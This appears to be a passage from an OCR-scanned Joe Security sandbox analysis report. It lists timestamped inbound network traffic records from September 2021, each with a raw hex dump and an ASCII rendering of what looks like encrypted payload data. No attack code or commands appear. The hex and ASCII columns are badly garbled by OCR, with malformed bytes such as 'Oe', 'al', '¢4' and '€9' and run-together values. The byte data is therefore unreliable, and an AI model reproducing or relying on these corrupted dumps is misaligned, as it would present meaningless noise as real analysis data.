55 e2 0a 24 4a 1a 36 b5 1d al c3 fe 10 a4 f3 23 67 8f 7d c9 17 a6 93 c2 5¢ 8e 10 48 e8 23 al 1b 10 be ed 96 al 89 00 d5
14 75 31 fe Oe c1 66 63 fe ee e6 db e5 4e 1b 5e ca c3 €9 10 0d 92 80 e0 7c e5 a8 al ad 28 f2 86 bc f4 f9 d3 12 9f ac O f7
d1 7f3a 13 63 5e 27 b9 7d 9d 49 c0 4f 74 a9 36 c9
Data Ascii: y=?,4";02gM"L+-Z$fhmyfbPfy& Q<)GMIRy@MBZ6nkz@IIWE8V[q(G"Dz@R'?,N;U$J6#g)\H#ulfcN*|(:c'HOt6

2021-09-27 16:55:59 UTC 109 IN Data Raw: fb c1 9e 98 52 f7 ¢4 9d 45 27 6a 95 23 be 5d 58 52 a5 53 fb 28 00 d3 d3 8d 93 8e 9d 42 88 6 8b da 33 b0 89
17 a0 1b f3 69 83 38 ae de 31 d1 b3 9f 8b 37 1b 14 dc e6 1a 76 59 ef c8 af 52 f2 ea df 41 5b 50 9e 1f 7c f9 23 81 79 94 19
al 6e 01 fb bc 25 df e8 9f 45 07 ca a2 2a fd Of 3a 38 aa 9f 7b 47 97 ba d8 bc 73 91 ec f3 be ¢3 78 66 05 00 a5 79 58 6a 60
83 1a 16 b1 bl 15 5d cb Oc 06 7f Oc 28 74 20 51 bb c4 b9 16 26 a0 b7 fc 64 cd 9d 77 b3 5a ee 2a 54 85 5a 55 72 c2 fa 27
e5 7f 7479 ¢2 46 90 24 7d 01 d6 98 12 22 37 93 01 fb be ¢9 76 c6 ec 5¢ 01 11 d8 5d 84 ad 94 c5 63 a6 b0 25 16 97 d8 72
a9 b2 34 e2 €9 73 23 6a 96 f4 66 2e eb a6 5a 21 5¢ 1d c1 7e e0 30 b3 95 58 29 64 1d 7b 96 fa b2 Oe ca 92 8a 78 96 b9 a0
45 4b 9b d6 7c 78 58 88 0a 2e 16 01 95 fa Oe fO 7b
Data Ascii: RE'J#]XRS(B3i817vYRA[P[#yn%E*:8{GsxfyX]’](t Q&AwZ*TZUr'tyF$}"7W\|cY%rds#if. Z!\~0X)d{XEK|xX.{

2021-09-27 16:55:59 UTC 111 IN Data Raw: Oe 65 Oc 1e 11 7b fd 5d ff ba 8b 66 17 eb 48 98 bb a8 f0 8b de Ob 28 67 cc el 64 b0 8b 7e 73 6a c5 69 68 89 c9
bl d4 c6 8b 1d 81 a5 9a 76 87 42 9 5 de 91 23 b7 ca 1a 2a 59 15 de 7d ef 05 4b ff ba 27 b9 d7 b9 ff el b3 a4 9 01 77 9e
7d c3 c3 ad bc 8e 37 8e 1a 97 8d e5 8d 1d 1d c2 bd bd 91 92 db b8 ad 52 30 f4 22 8 92 67 f4 fb ca 7 f4 4a 05 5e {5 c6 e9
1c 22 d3 87 e0 7c e6 c7 92 b8 00 55 ae 48 fa d1 4e 3a bb a6 d8 61 c6 57 f2 1e 72 5f 5b 7a 6¢ 99 2c 24 89 aa b9 34 cb 9f
6d 21 01 9e c3 17 f9 11 b5 e2 5e 48 16 d3 95 bd 19 al ec 75 60 40 31 fd 2a e6 58 el 89 51 df 7c 18 58 ec 6f 30 {7 81 24
90 ae 77 ae 2d cf eb ae f6 c2 bf Oa 14 0f 09 38 da 73 2b 06 cb 1f 07 a7 Of 34 Oe 4e ce de 09 a6 8c 54 8c a0 4e 33 31 9b 1c
ff d3 b9 51 fc 2d f2 e1 23 79 05 01 Oe 36 69
Data Ascii: e{]fH(gd~sjihvB#*Y}K'w}7R0"gJ""|UHN:aWr_[zl,$4m!"Hu’ @1*XQ|X00$w-8s+4NTN31Q-#y6i

2021-09-27 16:55:59 UTC 112 IN Data Raw: 6a 32 00 37 e7 ba 5b 86 e5 db 87 ea 2f 6e 2d b1 8f 57 50 61 4e 54 60 16 bb a8 bd 64 9a 1a d0 66 05 56 e6 31
4080 15 a3 01 1f a2 39 4b 99 cc 56 69 eb 60 d2 f0 47 96 5a 54 5b 7c ec 36 e8 78 63 40 db dd 8f 3e 44 e3 c1 89 15 34 37
90 57 9a 85 d3 66 cf f7 41 1b 49 f5 ce ab 85 7d c¢5 70 a0 80 62 1f 4f Oe 66 b6 af 2e d2 8a 62 2a ee 18 67 6¢ 26 e3 a6 58 ed
a2 Oe cf 55 f3 3a 37 83 54 31 b3 94 6b 97 dd 4d le c7 3a 93 66 89 77 fa 69 40 b3 8c df 69 5d 92 1d 4c 52 b4 19 cf 1f fe 6b
8a b1 09 bl bf 41 c6 c8 e2 27 a4 1f 8e 2d c6 ac 4a 7d 77 66 4c 1a 98 5a 28 5 95 b8 b7 95 8f de fd 8d 04 d0 16 32 45 07
62 54 4c 16 aa 51 54 4f b4 32 a7 a9 66 68 cc 59 3f d2 b0 d0 52 f7 5b 95 6b 8f 81 d5 b4 57 e4 a7 ef 5a f5 76 00 82 73 57
24 e559 c8 d9 5d 43 d0 Oe 92 4c f0 05 10 al 3b 6f
Data Ascii: j27[/n-WPaNT dfV1@9KVi' GZT[|6xc@>D47WFAI}pbOf.b*gl&XU: 7T1kM:wi@i]LRKA-J}WLZ(2EbTLQTO2fhY?
R[kWZvsW$Y]CL;0

2021-09-27 16:55:59 UTC 113 IN Data Raw: 9c f9 ¢4 64 52 21 5 15 d6 6¢ 66 d2 e3 cd f6 f2 98 80 65 ff dc a9 09 3f 5e 91 eb 63 ec 2d 87 80 3¢ f1 c1 b2 f1 f9
d3 2d 61 bb 26 70 ed 57 18 13 6f 47 38 ae 67 99 37 02 51 5d 51 24 €0 el 25 21 03 9f €9 08 ef 09 ea ca 55 48 06 b7 dd ab
e7 aa 1c 6¢ 69 97 3¢ Oe Oa c7 49 e5 ab 57 db 54 1d 42 fb 7a 31 df a8 2f 87 5a a8 82 28 fd 8 a5 7 cf b4 15 36 f1 37 14 85
333 c6 ¢8 16 10 71 9e e2 0d c0 da 43 6a bl 96 54 93 80 4e 08 35 8a 19 el c7 47 a0 d0 2b c8 4c 2f 69 2e ff Oe 27 62 ed
f177 51 1d 6b 34 bf 85 46 ad 02 23 b6 1e 80 a6 d1 2b cb 37 5d de 4d Oe d4 2e ec 9a 34 8f d5 db 6b eb 39 2a ad 53 64 ff
45 8 38 58 4d 79 ¢6 ee bf aa 57 ab 30 b4 44 b0 64 76 19 a5 72 24 ac 8f ec c0 13 41 30 7d ee 1b af 8d d4 86 34 dc 39 5f 6a
5b eb Oe {7 bl 39 b9 d0 99 12 00 9b 84 c5 dc
Data Ascii: dRlIfe?"c-<-a&pWoG8g7Q]Q$%!UHI<IWTBZ1/Z(673qCiTN5SG+L/i. bwQka4F#+7]M.4k9*SAE8XMyWODdVI$O
0}49_j[9

2021-09-27 16:55:59 UTC 114 IN Data Raw: 3a b4 34 f1 90 7a 3a fa 10 57 f7 45 c6 a5 5d 4d 04 ef 57 53 a8 a3 el b2 de 11 16 9f d9 e5 af 8a 30 8a a4 84 da
56 71 8f b7 33 df d9 ae ef 89 9d bf 79 Oc f5 6 fa 85 4c 30 b3 d4 39 3f 43 13 d9 5e fd Od b5 f8 34 3d cc c3 af eb cf 03 al e6
05 4c 84 7d d2 c2 b9 aa 04 5d a2 09 95 eb 33 5b 8¢ 00 Ob ad 40 2c a8 dc d7 6e 5e 2f ec 19 e2 92 76 f5 {7 ¢4 01 e4 62 00
71 f8 4d 5e 13 2c 88 5a 8f 87 e6 d3 80 b3 23 e5 a5 48 el f2 ca 07 45 ad dc fO c5 d9 4f 1b 7b 8e ee ae 68 86 18 1a 45 74
be 2e d3 e5 a8 20 2d 8f fe 1e eb 1f d7 Of cf 27 ec bd c2 bb 06 bb 23 76 6a 8f 2f c7 34 2f 59 cd 8f 53 d0 48 57 13 16 96 c5
c0 8e 37 9b a4 b8 a5 34 fa 15 af db cd bc 03 01 d9 a7 2f 4a ed fd 9d e0 1f 07 a6 03 2b 2e 5d 66 7d 18 b8 80 aa 8d 8d 5e
14 26 90 12 ef d8 a6 e4 02 2c cf f5 1b 79 05
Data Ascii: :4z:WEJMWS0Vq3yL09?C*4=L}]3[@,n"vbqM*, Z#HEO{hEL. -“#vjl4Y SHW74/3+.]}*&y

2021-09-27 16:55:59 UTC 115 IN Data Raw: 05 3c a2 88 7b 75 c1 37 e7 b6 71 92 98 9c 8¢ ¢2 7c 7a 05 bd a7 79 79 1c Oe 3a 18 12 b2 a4 c9 78 a8 bc 06 75
0f 44 e5 fa 42 b5 d5 b0 1f 58 ad 3b 4b b4 a7 02 61 65 d3 d4 2e 56 ff 0a 59 63 c1 dd 14 ea 12 2f 50 d7 43 86 26 65 08 bb
ca le 3c 22 b0 ba 4d 96 d6 7e c4 9d Oe 0d 9f 6b 07 b6 95 e7 c4 70 aa 8a 08 52 96 d8 71 ae b6 2b db 58 5b 16 61 af 5f 64
3f ef ca 16 34 74 19 ¢6 7c 9d 68 3f 92 5¢ 54 22 0f 74 83 fd 8e 00 cc 23 9e 77 90 aa 37 84 4a b7 d0 d8 7f 66 ad 07 30 9d b6
08 c0 13 0e 7b ad b7 05 10 ec 2f 32 cd e0 5a 8d 09 8f 29 c4 a9 44 57 44 08 86 12 86 43 3c fa 95 b3 b0 64 54 e4 91 6e 16
d5 10 0b 56 19 69 a0 5e 2a b9 77 3e 1d 23 cc 52 39 a6 6b f3 1b d6 1c 57 da 03 d3 6a 97 6f ae 92 c4 b9 4f f4 8f 33 4e fe
57 3291 1b 8e d8 e4 7f db cd 4e 95 c4 1a 7d 41 cd 1e
Data Ascii: <{u7q|zyy:xuDBX;Kae.VYc/PC&e<"M~kpRa+X[a_d?4t|h\T"t#w7Jf0{/2Z)DWDC<dTnVir*w>#R9kWjoO3NW
NJA

2021-09-27 16:55:59 UTC 116 IN Data Raw: 2e 45 89 ae 90 d1 d7 7e 5f 2e 00 Ob c5 9b 5f 68 16 31 00 fa 47 02 7b fb d2 e4 05 22 a0 81 cc 50 6 d8 92 84 a9
f4 ae 4e e7 74 d2 3a bb ad e3 f1 d7 5b ee 03 65 40 ae 95 7d 99 26 03 ec 65 a3 31 d8 fd 40 09 a9 9f ef 11 f7 01 d3 d4 5e
59 l1a ab 3c bc 35 a8 28 6e 67 9e 35 d5 1b 2f 59 cd 9d 40 al 1d 16 5d e8 7f 33 ab 38 24 90 a5 bf ac 50 ac ea ae f3 50 08
2223 0e 36 32 8a €9 26 10 da 12 18 b2 f1 35 22 43 7c¢ 75 11 23 af 69 71 5e a2 1c 23 88 1f fe c2 b4 be e5 d3 e2 db 20 7e
46 b0 0f 36 6d e7 bf 25 50 31 66 3a a0 89 7b c2 ea 2f a9 Ob 61 a8 ee 2a da 2e 41 51 5b 3b ca 16 ee 90 5b 62 d9 c0 93 fb
1d 16 7d 2a 2c f4 5a c7 3f 7b 57 6b cd 7 8a d9 51 87 39 8d 4d 49 8a 8f 10 8f 49 3e ac 9e ed 7d Oe b7 22 56 6 24 64 65 3c
4 04 d1 2a 55 79 42 f1 19 d6 58 a4 84 d3 c2 b1 02
Data Ascii: .E~_._h1G{"PNt:[e@}&el1@"Y<5(ng5/Y @]38$PP"#62&5"C|u#iq"# ~F6m%P1f:{/a* AQ[;[b}*, Z?{WkQIMI
1>}"V$de<*UyBX

2021-09-27 16:55:59 UTC 118 IN Data Raw: 75 b5 81 8d 16 bb d3 7c a9 ba ac 7d 6e 7f 3c 6a bc 50 66 3f ee ab ae 34 58 15 d5 7a ef ba 32 8f 4b 2c 65 1f 71
9d Ob a5 33 ¢2 26 96 6¢ 92 aa 2¢ 6b 4e 82 29 df 45 51 92 08 27 82 a5 1c c5 1f f5 61 7f al 2b 6e 82 ee 2e da e7 21 da 0d
92 d3 cd 93 52 78 59 1e 83 18 9e 58 b5 d1 84 b6 a7 5 81 ca 92 73 23 ce 03 1f 53 17 67 46 al 07 97 55 48 9c b6 32 a7 cd
b6 7b c9 53 38 e6 be 2c 28 ec 59 82 7c¢ 98 92 d5 bc 59 fe 71 23 74 {7 57 14 a9 4c 66 d9 1a 54 b6 07 45 95 c9 28 83 5b d1
12 2e a0 c4 90 49 97 72 e0 68 f9 53 4a 6f 77 d1 07 5e c3 bb ba e3 d8 3c 79 a3 36 3d 2b 36 5f €9 13 9c 9d 7e bb 31 94 d6
4f 52 a9 d2 86 6d 10 59 2a 83 a2 c2 e6 47 47 c¢7 3b 1a 48 5a 2e dd 3c 6a be 5e Ob a4 60 10 ea 6a ef 1f 8c {7 79 66 bd 4f
5¢ 9c cb 8f 67 d2 c6 df cf d1 fa 43 8b Oe 65 37 61 d9
Data Ascii: u[}n<jPf?4Xz2K,eq3&I,kN)EQ'a+n.IRxYXs#SgFUH2{S8,(Y|Yq#tWLFTE([.IrhSJow"<y6=+6_~10ORmMY*GG;HZ.
<j\jyfO\gCe7a
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 119 IN Data Raw: d8 28 5d ec 68 98 ce 9a 30 84 b0 81 0d 2b e5 el ba df 1a bc 0a 10 19 bb 3f 90 fa 2a 04 df Ob 2f 04 0f 34 04 66
7c 7d 09 b9 85 58 85 b5 75 c0 36 9b 14 €9 5e be al fc 2c f0 d4 21 5f 2b e2 82 09 69 f2 fe 2b 41 12 72 31 ae b2 d5 c2 fb 28
a2 30 5c aac2 26 dcab 51 c1 77 f1 c6 20 ec bf 4d 64 58 e4 6d fa 30 e7 6e 73 70 el 4e eb 88 53 4d 62 d9 d9 59 57 56 81
2f 01 59 4f 9b 88 12 92 75 07 0f 9e 7 d5 37 a0 31 51 ed 30 7b 60 2e 51 70 dO 2a 5e 42 64 e2 11 c6 20 a0 95 db e0 03 Oe
ef 90 d6 d4 08 c6 1b e0 e7 e7 df e8 fb bc 97 31 ef 2d 5d 5d 51 06 d3 66 9f b0 4c d1 d5 87 7b ab 45 8a 34 a8 c6 c5 7a b4
52 e801 cle2c59c858e 984288601 ff11 a7 fd 2f b3 1b f7 d0 81 12 a9 al 23 4c 85 11 3c 21 6f 88 d4 f5 38 66 68 fc
cd bf ce da fc b0 e6 4a 74 85 2a 6d ff b6 le ea
Data Ascii: (JnO+?*/4f[}Xu6”,!_+i+Ar1(0\&Qw MdXmOnspNSMbYWV/YOu71Q0{ .Qp*"Bd 1-]]QfL{E4zRB/#L<!08fhJt*m

2021-09-27 16:55:59 UTC 120 IN Data Raw: ba fe 06 d0 16 Oc de 01 62 5e 5e 12 af 48 13 86 b6 32 a7 ee 33 68 cc 59 3a f9 b9 ce 3d e8 72 91 6f 9b 84 49 be
46 f4 8e 36 4c el 54 b2 91 1c 93 Oe cd 56 d9 d3 53 bd 32 03 83 4a cd 5b 3f 83 dO b8 ce 69 72 e6 6f 76 da fd 6¢ f8 72 c5
5d 31 Of 6¢ 6e f9 28 51 5e 39 3f 2a 2c 5¢ 59 3b bc 9d 6d 92 23 al c7 65 8b 1c d1 Oe 78 29 6f 3c ab 86 c7 ec 9f f5 f3 30 39
5c 4e Oc 72 28 60 9c 4e 97 a4 6a c4 c2 63 c7 1f 8b f4 62 74 98 67 b6 9e e6 a8 5d 24 22 20 30 Oe e7 61 ac fO 4b 1a 61 d9
4e 7b 8a c0 47 41 f6 58 ea 38 58 86 5b 53 bb 54 24 3f 01 e8 36 €0 9d 4d 37 06 11 7d 93 3e cf b2 81 f4 18 €9 48 71 d4 5f
€0 a3 d3 1d 3e 70 ce a6 5a b3 8b 72 4d 14 14 6b 62 8e d8 de d5 c6 87 07 e7 60 b0 7a 88 2d 03 €3 53 90 34 d8 1a Ob 2c
42 7c 3454 €2 06 5d 96 c9 34 bf c9 c2 15 c8 10 a2 ea
Data Ascii: bH23hY:=rolF6LTVS2J[?irovir]1In(Q"97*,\Y;m#ex)0o<09\Nr("Njcbtg]$" 0aKaN{GAX8X[ST$?6M7}>
Hq_>pZrMkb'z-S4,B|4T]4

2021-09-27 16:55:59 UTC 121 IN Data Raw: cc 72 e9 cf 44 53 4f 75 fc 4b c9 44 b8 4f 68 c¢7 9e 1a 55 56 8d 21 e3 d6 4e 9b 83 69 0Of 60 2f a6 92 f8 cb Oc a6
31 40 f0 3c 69 8f 2a 55 3f c0 2c 45 6e 62 86 10 c0 45 57 62 da ea 14 11 89 9d cc c¢7 04 d7 01 83 ec 19 de df da d6 06 31
€934 5¢539290d3 77 89 87 49 2f d4 al 41 a1 57 83 5d 7d 4a c2 70 a3 89 €8 34 c3 cb cc 9f 9b b1 89 53 9f e4 5d ef 1le
b9 f0 d9 b2 1b f9 78 89 22 a6 be 2a d7 a5 Ob c2 21 el b7 e6 f4 75 8b 4b e8 df b0 2¢c 24 fe b0 ed 36 ac 95 Oe 7d ff 45 de cc
92 a7 52 8e 8c c4 ba 32 b1 35 82 55 0b ba 53 74 2b 85 16 2b b5 85 6e 4a f4 27 f0 ab 8d 91 c8 d8 95 d1 6f 6¢ 3c a0 b8 64
ac 60 64 28 09 10 b2 8a 79 74 90 07 69 82 Oe 47 ea 33 5¢ ae c9 al 1f 37 ba 2e 54 9b 24 46 4c 6f c6 d1 3d 82 97 5d 47 49
d6 fb 36 f9 7e 75 47 29 46 bc 21 64 22 4f 88 1f 36
Data Ascii: rDSOUKDOhUV!Ni*/1@<i*U?,EnbEWb14\SwWI/AW]}Ip4S]x"*IuK,$6}ER25USt++nJ'ol<d d(ytiG3\7.T$FLO
=]GI6~uG)F!d"06

2021-09-27 16:55:59 UTC 123 IN Data Raw: 33 82 d1 48 dd 1e c0 0a d0 3a 5a 44 62 a9 c5 e6 86 08 d1 1b 2f 5f 35 2c d0 28 6a 9c 60 23 38 6a ce e0 44 a3
le 8d ed 74 15 9b 4e 5¢c 96 f5 a6 76 c6 c8 f7 €7 d4 e9 75 9e 83 5a 37 61 d8 46 12 cc c6 51 48 88 3a 1a 2d 4c a8 81 41 aa
4d 24 21 3d 97 1d e4 9b 63 Oe 89 16 7b fc 47 dc b4 9a da 01 fc c4 fc bb a8 e0 01 c4 08 3c 75 f0 00 a7 b2 81 65 5f 6f ed 43
66 84 b1 3559 c1 81 11 89 a2 b4 6b 84 54 fb 40 42 90 37 a3 €3 c0 2d 48 19 d9 51 f6 28 60 fd 18 30 a8 4e aa eb c9 11 b7
ff 1a 59 99 6a 4f 45 a6 bb fb fe 9f 1c 82 f6 Oc 44 1c 17 db ab 92 b5 ab f0 d3 6f 54 26 73 0d €9 92 66 ea fc da d7 46 4e 11
7c ef eb 54 19 34 58 99 6d 7b e7 d3 87 bf 2e e7 a8 5e f9 5b ¢4 3c ac ba 7c ¢2 ¢6 57 f9 b0 72 5e 2c b4 e2 2e aa 36 4e 74
ae 87 dd ec 45 26 10 98 fb 0f f1 9b ef d9 5e 49 04
Data Ascii: 3H:ZDb/_5, (i #8jDtN\vuZ7aFQH:-LAM$!=c{G<ue_oCf5YKT@B7-HQ('ONYjOEDOT&SfFN|TAXm{. [<|WrA,.
B6NtE&N

2021-09-27 16:55:59 UTC 124 IN Data Raw: 4a c2 7e b6 28 7f 23 d0 c5 fb 60 8a a6 83 40 8d 72 14 93 b4 b1 83 67 b0 19 88 f4 91 31 b5 96 63 c2 ba 1b 41
a5 cc 99 f3 cc 1a 77 59 d8 db a6 7e f4 fc b0 ee 58 50 85 18 68 ec 12 20 cf 92 ad 3d 63 89 db b6 db df c8 8f 57 7a 54 ac 75
2f ab 52 3a aa 94 62 56 e7 32 e7 ad 77 8f €9 25 8c ee 77 6e 56 32 a6 79 56 49 1f 39 18 1c a4 ac Oc 71 90 1c 02 69 f1 46
c0 26 56 9d eb af 1b 33 ab 28 4f ad d1 b9 61 49 c2 ¢7 51 d1 85 49 5c 1d b7 ed 36 e2 41 13 50 d7 4d 9d 31 60 19 c4 89 Oe
3839 94 71 4d ba d6 7e ff 2f 4d Oc 9f 70 dc a8 a9 94 d5 74 b4 76 72 3b 82 da Oe 39 bf 22 ce 22 01 22 60 a5 7d 1f 2f eb bd
5c 2a 7d Oe c0 7e 7 2f 21 9b a6 28 49 09 7c ab 5a bb 15 d4 34 9b 66 85 b7 d2 7b 67 8f d5 a5 16 56 90 1f 5d ea b7 19 cf
26 89 7b 81 aa 0d 72 ba 2a 32 d8 e6 3a 35 09 a3 39
Data Ascii: J~(# @rglcAwY~XPh =cWzTu/R:bV2w%wnV2yVI9qiF&V3(0alQN\6APM1 89gM~/Mptvr; 9" }\*}~/I(1|Z4f{gV]&
{r=2:59

2021-09-27 16:55:59 UTC 125 IN Data Raw: 47 51 a4 a6 c1 3b d5 Oe 28 7e d2 el 8b b0 8b 72 71 15 bb f0 63 84 b3 3d db 5c a4 3c 87 97 ad 75 a2 e0 ff e2
5389 31 9f e6 Ob 2c 4e 39 a6 2b 7b 01 4b fd 07 26 25 e6 80 e4 ef Of b4 d9 bf 5f 8f 7d dc da 8e 96 f8 5¢ 88 30 fc 9c bd 8c
1d 13 ce ab Oc 84 ae d2 f1 70 43 10 39 Oa e9 92 7f d6 c5 cc ff e3 64 7b 08 62 c2 €9 1e 2b 4c 1a c5 51 e9 f5 99 be 08 3f ae
48 f0 e4 fd 17 b9 ac f6 d7 a8 29 61 13 63 5¢ 2b ae f6 bc Ob 06 68 6b bc 05 1c ea 56 21 le 8e c7 36 ea 16 c6 f3 34 36 8e
bd c2 b9 06 bf aa 58 47 90 02 c7 16 f1 b9 el 83 42 c7 7c 3a 5f ec 6f 10 bl c¢7 bd 91 a4 ad bl 3e 7f ce 83 f8 {8 a0 1f 36 e7
36 38 90 e5 24 38 e6 1d 07 al 25 5a 70 d7 6¢ 7d 0d ac 80 ce a9 8¢ 52 25 2a 8d 32 09 d3 b9 al e3 3b cb da 32 7c 3b de
64 48 f0 3 ff 8d 4f 26 fc 00 97 94 50 dd ec 02 bb
Data Ascii: GQ;(~rqc=\<uS1,N9+{K&%_N0pC9d{b+LQ?H)ac\+hkV!646XGB|:_0>668%$8%Zpl}R%*2;2|;dHO&P

2021-09-27 16:55:59 UTC 127 IN Data Raw: 53 2e a6 79 56 7e 76 al 3d 3b b5 84 00 4b b0 bd 04 75 0f 50 ¢4 0d 53 b1 d1 98 62 49 32 38 4b b6 c5 78 fa 40
fa cb Oc 4b bb 69 e9 61 c5 ec 2a c0 44 68 51 d1 6d fe 50 f5 0b cO 8d 00 7c bc bd a2 43 b0 c3 37 e6 51 4f Oc 9f 70 c2 93 80
96 c4 76 80 e6 0d 8e 96 d8 71 a7 ff b8 ef 71 7c 05 7f ee 75 ac 2c eb b7 4f 3e 5¢ 30 c6 7e e0 01 50 ec cl 28 65 Oa 6b c5 6f
81 32 c8 16 84 35 al 7a 2e 7a 4b 84 d8 f6 44 55 90 1d 09 f6 c8 80 c4 Oe f4 65 c2 3a 22 46 a6 08 2d 8a c2 c5 c9 08 8f 32
c0 97 6a 7d 71 Of ac 72 e6 c9 38 fa 80 a9 e2 00 70 e5 9c 5f 1a 94 30 ea 51 06 62 45 77 2b b9 5¢ 3d 0f dc 4c 34 c7 af 6¢
d3 16 b3 c6 85 dc Of df 1f b5 9a 9f 92 c4 a2 6e d9 8d 22 5e df 12 6f 08 1d 99 22 fa 15 43 f0 68 9a e5 1d c5 60 1b 15 2e 9f
db 9c 61 47 70 e0 7f d1 b7 83 f5 f8 66 d5 56 5e
Data Ascii: S.yV~v=;KuPSbI28Kx@Kia*DhQmP|C7Q0Opvqq|u,0>\0~P(eko25z.zKDUe:"F-2j}qr8p_0QbEw+\=L4In" 0"C
h*.aGpfva

2021-09-27 16:55:59 UTC 128 IN Data Raw: €0 88 d4 34 5b f5 e5 6 77 14 56 85 €0 7c fb fb ab ae 28 f0 84 26 8e 60 d4 3a bf b3 9e 67 e3 7a {7 34 7c 36 14
b3 69 99 26 16 5e 5¢ 82 27 cc ec 7c 4b 7f 06 ee 1b ec 09 af 43 7b 65 19 9a dd d2 39 b5 35 7d 6a 83 Oc 5 00 d1 5e cb ed
3¢ 43 5517 59 f3 19 a0 fa 94 2b b6 bb d9 8e Oe €0 eb ae e8 cf 97 27 14 0f 30 12 fa 84 b2 11 cb 1b 18 d6 95 11 23 40 4b
62 78 93 a0 51 8¢ al 40 2b 18 99 12 {8 9 d7 df 65 2c 3 f3 2f Oe a7 d1 23 39 4f ed 8d a9 6d 34 66 25 a5 83 5e ef 19 22 b0
32 1d7 5b 21 cb 22 49 b2 ed d5 8 0d db 82 28 53 82 de 6d fa 2 48 57 7c 66 {5 5¢ €9 45 2d d4 69 cd f5 82 20 cc a2 14
83 78 50 ef a9 65 83 61 2f b3 89 cf f2 1d b1 37 7b 8d 5d €9 70 2b 7d 34 a4 b0 71 47 44 ¢6 Oe b5 6f 42 90 db ea Of 2a b6
80 d6 d2 39 b9 6e 0d f4 e7 db ec a5 32 b0 1c e6 18
Data Ascii: 4[wV|(& :0z4|6i&\|KC{e95}*<CUY+0#@KbxQ@-+e,/490mAfo%6""2[1"|(Sm.HWIAE-i xPea/7{]p+}4qGDoB*9n2

2021-09-27 16:55:59 UTC 129 IN Data Raw: 77 08 cb 20 50 35 74 3d 54 79 e6 2b 24 ba 75 2b 65 08 5e 05 8b 3d le c7 34 bb ef 81 af 2¢c e0 6e b6 c6 8 49 cf
90 1b 23 b8 22 1e c5 Oe €9 52 ac a2 07 6d 83 a8 4c 50 e3 21 cf 28 16 2d cc bf dd 5a 5¢ 1b a0 38 01 50 39 fa a4 21 al 9a
55 d7 9851 28 d2 10 1c 79 80 1c c7 5e 06 bf 7c al 25 b6 32 37 e3 82 7a ea 73 b3 e3 a8 d2 09 61 5d 95 6f 82 98 ec 94 44
f4 89 08 de 8b e5 10 91 18 b9 bd e5 53 d9 4f 60 b8 d1 24 a3 db el 17 2e bf 6f 97 49 6a 6d ea 51 d6 df fd 6a d3 e0 af dO
18 ac 68 4e 6f 3c 79 a2 a7 1a 01 26 {7 7e a7 bc 9¢ 7e 91 87 85 d1 4d c3 13 f9 25 d8 38 4a 01 01 d6 5c ed 99 53 c2 8e 2d
48 5a be f4 05 71 b0 46 96 a4 6a ce ca ae c2 1f 8d fd 51 4b bf 4f 5a b6 60 dc fe c3 dc db ef 4e €9 73 89 94 78 1a 73 ff 75
8a dd c0 47 6b ec 2c 1c 39 47 89 60 6d a8 47 33 0f
Data Ascii: w P5t=Ty+$u+e”=4,nl#"RmLP!(-Z\8P9!UQ(y"|%27zsa]oDSO"$.0ljmQjhNo<y&~~M%8I\S-HZqFjQKOZ 'Nsx
sSuGk,9G'mG3

Copyright Joe Security LLC 2021 Page 25 of 35



kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 130 IN Data Raw: 17 e7 55 7e 0b 97 0a 79 52 61 68 5b 10 16 bb bd 10 5d bd 0f 06 73 25 c5 92 b9 50 b1 d3 92 a6 37 ab 39 d1 97
7 56 46 45 79 c5 2a 54 a4 26 50 63 c5 f4 1e c5 6b 6a 57 fd c1 ee b7 6d 0a c4 a9 b0 3c 26 98 15 69 bb ce 51 6 49 4d Oc
of 4f a0 b3 ad 94 db 79 82 a5 71 17 91 f2 f3 ¢6 27 23 ca 58 53 93 60 af 55 fc Ob c6 a5 76 15 c4 1d c4 7e c6 51 36 92 58 36
6c 26 59 85 5 a2 35 45 4e 02 76 81 ab Oc cb 4b 9b d7 44 4c 7a 81 3d 03 29 b6 19 c5 2e 73 72 81 a0 1d 43 84 2¢ 32 cf c8
a3 b5 91 8e 2d ¢8 9f f5 7f 71 09 1c 3d b5 41 1f da 36 b6 a6 9a 75 4f 9a 79 05 c¢7 38 37 51 06 64 74 dd 78 22 5d 3b 21 96
81 ad c6 af f2 e9 7e 38 c5 88 61 29 c0 5a b5 e7 95 92 c4 a0 6e d9 8d 22 5e df fa 6f 08 1d 99 22 c5 e7 d9 d5 45 0f e6 2f 91
66 c1 a3 2e 9f c4 b0 c2 62 72 e0 66 da f5 d0 6e f9
Data Ascii: U~yRah[]s%P79VFEy*T&PckjWm<&iQIMOyq'#XS Uv~Q6X6l&Y5ENVKDLz=).srC,2-q=A6uOy87Qdtx"];!~8a)
Zn""o"E/f.brfn

2021-09-27 16:55:59 UTC 131 IN Data Raw: 66 fe ec ee 2b e5 4e 11 ec de ee fb 3c 14 8a 80 e0 7c ¢7 59 8d ac 28 e9 8b 60 dd fb d5 3c 91 2a 8e 64 c7 57 fc
32 b6 58 34 bd f6 bc Ob 1b 68 54 7a 25 cc ea 76 8e Oa 9f ef 04 cc 3e ed db 5e 4e 3d 3a bc 24 18 ab 34 5d bc 9e 24 d8 98
f4 75 f3 a5 62 Oc 54 17 5d cc ba 31 df b9 3b b1 8c 84 ac 2b e3 c1 28 89 47 be 0a 12 2f e1 38 90 fa b1 35 e6 0d 21 87 d8
34 0Oe 4e 4d 89 02 b3 96 4b ad 89 70 01 35 9d 38 78 ad 20 a0 fc 29 c¢3 2f 30 7c 3d 6e 2b 1b 7b d4 df 51 50 31 66 05 af 96
76 c2 e4 03 9e 35 9d a9 c4 Oa 4d 58 cf c0 77 f4 f5 db fd 9d 5b €9 f1 f6 7f dc 11 9c 7f 51 64 d5 6¢ cf 2b 53 52 49 e5 dc 9f 54
50 ad bf f2 ¢7 4e 9b 8d 26 5¢ 61 2f ac 04 c2 f2 0d 97 11 8b e7 23 70 51 7c 75 2b d1 35 75 42 67 €2 11 c6 65 be eb 42 eb
12 06 bb 59 d6 d4 13 4d 35 b9 e7 c1 ff 28 d3 a8
Data Ascii: f+N<|Y (" <*dW2X4hTz%v>"N=:$4]$ubT]1;+(G/85!4NMKp58Xx )/0|=n+{QP1fv5SMXw[QdI+SRITPN&\a/#pQ|u
+5uBgeBYM5(

2021-09-27 16:55:59 UTC 132 IN Data Raw: a5 le 36 54 66 2a cbh 4c 50 35 74 87 e1 53 f4 0d 1e 69 58 29 65 2e 6f 89 f5 a4 00 ca 18 b6 75 81 a9 06 8 35 02
